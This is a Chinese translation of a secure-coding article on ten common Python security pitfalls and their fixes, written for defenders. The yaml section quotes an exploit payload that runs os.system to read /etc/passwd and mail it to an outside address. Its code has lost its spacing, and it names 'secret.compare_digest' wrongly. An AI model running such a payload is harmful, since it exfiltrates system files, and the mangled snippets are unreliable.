前言编写安全的代码是一件困难的事情。Python也不例外,即使在标准库中,也有用于编写应用程序的文档化安全漏洞。以下是Python应用程序中最常见的10个安全隐患以及如何修复它们。Inputinjection注入攻击很常见,有很多种注入方式。它们影响所有语言、框架和环境。SQL注入是指直接编写SQL查询而不是使用ORM并混合字符串和变量。我读过很多代码,其中“转义引号”被认为是一种修复。然而事实并非如此。命令注入是任何时候你使用popen、subprocess、os来调用一个进程。系统从变量中获取参数。有人可以在调用本机命令时将这些值设置为恶意值。如何修复:如果您使用的是Web框架,则Web框架附带的实用程序可以清理您的输入。除非你有充分的理由,否则不要手动构建SQL查询。对于shell,使用shlex模块正确转义输入。解析XML如果您的应用程序曾经加载和解析XML文件,您很可能正在使用XML标准库模块之一。有一些常见的通过XML进行的攻击。它们中的大多数是Dos风格的(用于使系统崩溃而不是过滤数据)。这些攻击很常见,尤其是在解析外部(即不受信任的)XML文件时。其中之一被称为“十亿笑声”,因为有效载荷通常包含大量(数十亿)“笑声”。基本上,这个想法是您可以在XML中引用实体,因此当您的低调XML解析器尝试将此XML文件加载到内存中时,它将消耗GB的RAM。如果您不相信,请尝试一下:-)另一种攻击使用外部实体扩展。XML支持从外部url引用实体,并且XML解析器通常可以毫无问题地获取和加载该资源。“攻击者可以绕过防火墙并访问受限资源,因为所有请求都来自内部受信任的IP地址,而不是外部。”另一种需要考虑的情况是依赖解码XML包的第三方,例如配置文件和远程API。您甚至可能没有意识到您的依赖项之一可能容易受到这些类型的攻击。解决方法:使用defusedxml作为标准库模块的替代方法。它增加了针对此类攻击的安全保护。断言语句不要使用断言语句来阻止用户访问不应访问的代码部分。一个简单的例子:defffoo(request,user):assertuser.is_admin,"userdoesnothaveaccess"#securecode...默认情况下,Python在执行时使用_debug__为true,但在生产环境中,通常使用优化来运行。这将跳过assert语句并直接转到安全代码,无论用户是否为is_admin。解决方案:仅使用assert语句与其他开发人员进行交流,例如在单元测试中或防止不正确的API使用。计时攻击计时攻击本质上是一种通过计时比较提供的值所花费的时间来暴露行为和算法的方法。定时攻击需要精确性,因此它们通常不适用于高延迟远程网络。由于大多数Web应用程序的延迟是可变的,因此几乎不可能对HTTPWeb服务器进行定时攻击。但是,如果您有提示输入密码的命令行应用程序,攻击者可以编写一个简单的脚本来计算将它们的值与实际密码进行比较所需的时间。有一些令人印象深刻的例子,例如用Python编写的基于ssh的定时攻击。解决方法:使用Python3.5中引入的secret.compare_digest来比较密码和其他私有值。污染站点——包或导入路径Python的导入系统非常灵活。当您尝试为您的测试打补丁或重载核心功能时,这非常有用。然而,这是Python中较大的安全漏洞之一。在您的站点包中安装第三方包,无论是在虚拟环境中还是在全局站点包中(通常不推荐),都会暴露这些包中的安全漏洞。在某些情况下,发布到PyPi的包的名称与流行的包相似,但执行任意代码。幸运的是,没有造成伤害。另一种需要考虑的情况是依赖的依赖(等等)。它们可以包含漏洞,还可以通过导入系统覆盖Python中的默认行为。解决方案:检查您的包裹。查看PyUp。io及其安全服务。为所有应用程序使用虚拟环境,并确保全局站点包尽可能干净。检查包签名。临时文件要在Python中创建临时文件,通常需要使用mktemp()函数生成文件名,然后使用该名称创建文件。这是不安全的,因为在调用mktemp()和第一个进程随后尝试创建该文件之间的时间内,另一个进程可能会创建一个具有该名称的文件。这意味着它可能会欺骗您的应用程序加载错误的数据或暴露其他临时数据。如果调用了不正确的方法,最新版本的Python将发出运行时警告。解决方法:如果需要生成临时文件,请使用tempfile模块并使用mkstemp。在流行的Python项目Ansible中可以找到使用yaml.load的示例:https://talosintelligence.com/reports/TALOS-2017-0305您可以为AnsibleVault提供值作为(有效)YAML。它使用文件中提供的参数调用os.system()。!!python/object/apply:os.system["cat/etc/passwd|mailme@hack.c"]如此有效地从用户提供的值加载YAML文件会让您容易受到攻击。解决方法:使用yaml.safe_load。Pickles反序列化pickled数据和YAML一样糟糕。Python类可以声明一个名为__reduce__的魔法方法,它返回一个字符串,或者一个元组,其参数是pickling时调用的可调用对象。攻击者可以使用它来包含对其中一个子进程模块的引用,以便在主机上运行任意命令。解决方法:切勿从不受信任或未经身份验证的来源中提取数据。相反,使用另一种序列化方案,例如JSON。使用不带补丁的系统Python运行时大多数POSIX系统都附带一个Python2版本。通常是旧版本。因为“Python”,CPython,是用C写的,所以有时候Python解释器本身就有bug。C中一个常见的安全问题与内存分配有关,因此存在缓冲区溢出错误。多年来,CPython有很多溢出或溢出错误,每一个都在后续版本中得到了修补和修复。所以你是安全的。也就是说,如果您修补运行时。解决方案:为您的生产应用程序安装最新版本的Python,并对其进行修补!不修补你的依赖关系类似于不修补你的运行时,你也需要定期修补你的依赖关系。我发现将来自PyPi的Python包版本“固定”在一个包中的做法很糟糕。这个想法是“这些是有效的版本”,所以每个人都不要管它。当应用程序使用的包中存在上述代码中的所有漏洞时,它们都同样重要。这些软件包的开发人员修复了安全问题。每时每刻。解决方案:使用像PyUp这样的服务。io检查更新,向您的应用发出拉取/合并请求,并运行您的测试以使包保持最新。使用像InSpec这样的工具来验证生产中安装的版本,并确保最低版本或版本范围已修补。
